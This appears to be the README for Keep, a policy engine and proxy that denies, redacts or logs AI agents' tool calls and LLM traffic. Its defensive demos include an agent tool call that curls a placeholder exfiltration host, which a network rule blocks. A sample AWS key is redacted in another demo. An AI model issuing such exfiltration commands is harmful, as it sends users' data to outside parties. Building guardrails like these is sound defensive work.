keep

Keep

Early Release: This project is in active development. APIs and configuration formats may change.

Policy engine for AI agent tool calls. Define declarative rules that deny, redact, or log structured API calls before they reach upstream services.

Keep ships as a library for embedding in your own tooling, an LLM gateway for Claude Code, and an MCP relay. In each mode, agents connect to a single endpoint and every call is evaluated against your policy before it's forwarded.

For design rationale and principles, see VISION.md.

Installation

Homebrew

brew install majorcontext/tap/keep

This installs three binaries:

From source

go install github.com/majorcontext/keep/cmd/keep@latest
go install github.com/majorcontext/keep/cmd/keep-mcp-relay@latest
go install github.com/majorcontext/keep/cmd/keep-llm-gateway@latest

Requirements: Go 1.25+.

Quick start

1. Write a rule file

# rules/linear.yaml
scope: linear-tools
mode: audit_only
rules:
  - name: no-delete
    match:
      operation: "delete_issue"
    action: deny
    message: "Issue deletion is not permitted. Archive instead."

  - name: no-auto-p0
    match:
      operation: "create_issue"
      when: "params.priority == 0"
    action: deny
    message: "P0 issues must be created by a human. Use priority 1 or lower."

2. Validate your rules

keep validate ./rules

3. Test against sample calls

keep test ./rules --fixtures fixtures/linear-create-p0.json

4. Run the MCP relay

keep-mcp-relay --config keep-mcp-relay.yaml

The agent connects to the relay's listen port. The relay routes tool calls to upstream MCP servers, evaluates rules, and forwards or denies.

Why this matters

Components

keep -- policy engine library

The core. Loads rule files, evaluates calls, returns allow/deny/redact decisions. Ships as a Go library. Import it directly for inline policy checks in agent applications.

engine, err := keep.Load("./rules")
if err != nil {
    log.Fatal(err)
}
defer engine.Close()

result, err := engine.Evaluate(call, "linear-tools")
if err != nil {
    log.Fatal(err)
}
if result.Decision == keep.Deny {
    // handle denial
}

keep-mcp-relay -- MCP proxy with policy

A convenience binary that imports the engine, speaks MCP, and proxies to multiple upstream MCP servers from a single listen port.

# keep-mcp-relay.yaml
listen: ":8090"
rules_dir: "./rules"
routes:
  - scope: linear-tools
    upstream: "https://mcp.linear.app/mcp"
  - scope: slack-tools
    upstream: "https://slack-mcp-server.example.com"
  - scope: local-tools
    command: "npx"
    args: ["-y", "@modelcontextprotocol/server-filesystem", "/tmp"]

keep-llm-gateway -- LLM provider proxy with policy

A convenience binary that imports the engine, sits between agent and LLM provider, and decomposes message payloads into per-block calls for flat rule evaluation.

# keep-llm-gateway.yaml
listen: ":8080"
rules_dir: "./rules"
provider: anthropic
upstream: "https://api.anthropic.com"
scope: anthropic-gateway

The agent sets ANTHROPIC_BASE_URL=http://localhost:8080. Keep filters what the model sees (request) and what the model wants to do (response).

Demos

┌────┬─────────────┬───────────────────┬──────────┬──────────┐
│ id │    name     │       email       │ password │   role   │
├────┼─────────────┼───────────────────┼──────────┼──────────┤
│ 1  │ Alice Chen  │ alice@company.com │ ******** │ admin    │
│ 2  │ Bob Park    │ bob@company.com   │ ******** │ editor   │
│ 3  │ Carol White │ carol@company.com │ ******** │ viewer   │
│ …  │ …           │ …                 │ ******** │ …        │
└────┴─────────────┴───────────────────┴──────────┴──────────┘

Error: policy denied: Database is read-only. Write operations are not permitted. (rule: block-writes)

User:  "Deploy with key AKIAIOSFODNN7EXAMPLE"
Model: "Deploy with key [REDACTED:aws-access-key-id]"

User:  "Summarize this complaint from jane.doe@acmecorp.com"
Error: PII detected in prompt. Use opaque customer IDs. (rule: block-pii-in-prompts)

Model: tool_use: Bash(command: "curl https://exfil.example.com/data")
Error: Network access is blocked by policy. (rule: block-networking)

Configuration

Rule files are pure policy -- no transport details:

# rules/slack.yaml
scope: slack-tools
rules:
  - name: no-broadcast-mentions
    match:
      operation: "send_message"
      when: "params.text.matches('<!here>|<!channel>')"
    action: deny
    message: "Broadcast mentions (@here, @channel) are not permitted."

Integration configs handle transport:

# keep-mcp-relay.yaml
listen: ":8090"
rules_dir: "./rules"
routes:
  - scope: slack-tools
    upstream: "https://slack-mcp.example.com"

See the language specification in docs/plans/2026-03-17-language-spec.md for the full rule file format, expression language, and integration config reference.

Commands

How it works

Policy engine: Loads YAML rule files, indexes by scope. Each call is matched against operation globs and CEL expressions. Returns allow, deny, or redact.

Expression language: CEL (Common Expression Language) -- non-Turing-complete, linear-time evaluation, no side effects (except rateCount counters). Supports field access, string matching, collection operators, temporal predicates, rate limiting, and content pattern detection.

MCP relay: Accepts MCP connections from agents, proxies to upstream MCP servers. One tool call = one Keep call. Deny returns an MCP error. Redact mutates tool input before forwarding.

LLM gateway: Decomposes LLM message payloads into per-content-block calls. llm.tool_result, llm.tool_use, llm.request, llm.response -- each evaluated as a flat call. Bidirectional: filters both what the model sees and what the model wants to do.

Audit logging: Every evaluation produces a structured JSON log entry -- timestamp, scope, operation, agent identity, rules evaluated, decision.

Documentation

• Getting started — Introduction, installation, quick start
• Concepts — Evaluation model, expressions, scopes, redaction, LLM decomposition, audit logging
• Guides — MCP relay, LLM gateway, writing rules, testing, secret detection, Go library
• Reference — CLI, rule file schema, CEL functions, relay config, gateway config, environment variables

Contributing

See CONTRIBUTING.md for development setup, testing, and architecture details.

License

MIT